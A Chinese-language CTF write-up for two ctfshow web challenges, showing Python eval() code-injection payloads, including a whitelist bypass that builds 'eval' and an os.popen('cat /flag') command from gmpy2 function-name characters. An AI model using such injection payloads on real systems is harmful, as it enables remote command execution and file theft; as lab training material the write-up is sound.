首页 > 其他分享 >【CTF刷题4】ctfshow刷题web部分wp(3)

【CTF刷题4】ctfshow刷题web部分wp(3)

时间:2024-08-18 14:27:48浏览次数:12  
标签:__ web gmpy2 erf CTF eval builtins os 刷题

题目来源:ctfshow菜狗杯

算力超群

考点:抓包,eval()函数利用,漏洞利用

打开发现是个计算器。一般碰到计算器就很容易和命令执行扯到一块。 随便计算下然后抓个包

image-20240806180720171

发现是get方法,改参数让它报错。发现eval()函数。

image-20240806180956097

python语言,用危险函数eval()进行运算。这里我们使用沙箱逃逸,执行命令反弹shell。

payload

_calculate?number1=&operator=&number2=__import__('os').popen('cat /f*').read()

image-20240806181354332

算力升级

考点:python库,拼接绕过,漏洞利用

打开,查看源码。

code是输入框提交的内容,下面这段代码是将code中由字母、数字、下划线组成的字符串取出

pattern=re.compile(r'\w+')
for item in pattern.findall(code):

如果取出的不是数字就判断是否为gmpy2库(高精度算术运算库)的函数名,如果最后都是就eval(code)代码执行

那么我们可以看一下gmpy2库的函数有什么是可以利用的

先在本地安装gmpy2库,pip install gmpy2

查看所有函数名,结果有很多,不过没有可以直接利用的

import gmpy2
print(dir(gmpy2))

里面有gmpy2和__builtins__,看看gmpy2.__builtins__支持哪些函数,发现有eval

image-20240806184033715

image-20240806184054698

那么我们就可以通过对gmpy2库中的函数名中的字母进行拼接,来等效

gmpy2.__builtins__['eval']("os.popen('cat /flag').read()")

这里可以直接用os是因为import os了,如果没有可以用

gmpy2.__builtins__['eval']("__import__('os').popen('cat /flag').read()")

payload

gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('cos'[1]+'cos'[2]+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")

标签:__,web,gmpy2,erf,CTF,eval,builtins,os,刷题
From: https://blog.csdn.net/star3119391396/article/details/141272183

相关文章

  • 第1篇:aspnetcore,webapi项目打包发布,以.net7为例
    1.打包项目,打开visualstudio项目是ChenShiBao.AspNetCore7.0,发布成功并上传服务,启动服务以这个ChenShiBao.AspNetCore7.0.dll为准1.1生成发布包1.2选择发布形式2.在终端利用scp指令将本地已发布的应用传到linux服务上,【或通过第三方工具xshell上传发布包】终端命令:scp......
  • UnicodeDecodeError: ‘gbk‘ codec can‘t decode byte 0xaf...--web逆向execjs读取j
    背景做web逆向的时候我们通常是纯python模拟js思路或js+python直接逆向,第二种情况下我们要先获取到想要的js代码,js文件内测试接口后,通过python中的`execjs`模块实现相应接口的调用。通常我们会直接从网站扣下需要的代码(分析后硬扣或通过webpack),然后稍加删改和补环境就直接使用......
  • WebRTC音视频开发读书笔记(一)
    一、基本概念WebRTC(WebReal-TimeCommunication,网页即时通信)于2011年6月1日开源,并被纳入万维网联盟的W3C推荐标准,它通过简单API为浏览器和移动应用提供实时通信RTC功能。1、特点跨平台:可以在Web,Android、IOS、Windows、MacOS、Linux环境运行。实时传输:速度快、延迟低。......
  • 算法刷题记录 八十五【图论的广度优先搜索理论基础】
    前言图论章节第2篇。第1篇:记录八十二【图论理论基础及深度优先搜索算法】;本文:记录八十五【图论的广度优先搜索理论基础】一、广度优先搜索理论基础广度优先搜索理论基础参考链接1.1知识点框架1.2模拟广度搜索的过程在有向图中,以下图为例,如何进行广度优先搜索......
  • JSP基于JAVAWEB医院挂号系统jep98(程序+源码+数据库+调试部署+开发环境)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表系统功能:用户,医生,护士,科室信息,预约时间段,出诊信息,预约挂号,门诊病历,医生打卡,护士打卡,就诊评价技术要求:开发语言:JSP前端使用:HTML5,CSS,JSP动态网页技......
  • JSP基于JavaWeb的CRM系统684y6程序+源码+数据库+调试部署+开发环境
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表系统功能:公告信息,部门,职位,用户,客户分组,客户信息,拜访记录,商机信息,订单信息技术要求:开发语言:JSP前端使用:HTML5,CSS,JSP动态网页技术后端使用SpringBoo......
  • 3.WebPortal
    创建接口controller-interfacesinterfaces>newinterfacename:webportalvlanid:103interfaceaddressvlanidentifier:103ipaddress:10.1.103.253netmask:255.255.255.0gateway:10.1.103.254physicalinformationportnumber:1(1号物理接口出去)backupport:0active......
  • 在linux上架设Web服务器Apache(Ubuntu)
    欢迎诸位来阅读在下的博文~在这里,在下会不定期发表一些浅薄的知识和经验,望诸位能与在下多多交流,共同努力!江山如画,客心如若,欢迎到访,一展风采文章目录背景1.安装Apache2.启动和检查Apache服务3.配置防火墙4.配置虚拟主机5.启用虚拟主机并重启Apache6.配置域......
  • 聊聊JS中的WebSocket
    你好,我是沐爸,欢迎点赞、收藏和关注。个人知乎在JavaScript中,使用WebSocket非常简单直观。通过几行代码,你就可以轻松创建一个WebSocket连接,并监听来自服务器的消息。无论是开发实时聊天应用、在线游戏、实时数据分析平台,还是任何需要实时数据交互的场景,WebSocket都能为你提......
  • Web 端项目系统访问页面很慢,后台数据返回很快,网络也没问题,是什么导致的呢?
    一、前端方面可能的原因1.页面加载过多资源•可能页面中包含了大量的图片、视频、脚本等资源,这些资源的加载会占用大量时间。可以检查页面的资源大小和数量,看是否有可以优化的地方,比如压缩图片、合并脚本等。2.前端代码效率问题•检查前端代码是否存在性能瓶颈。例如,Ja......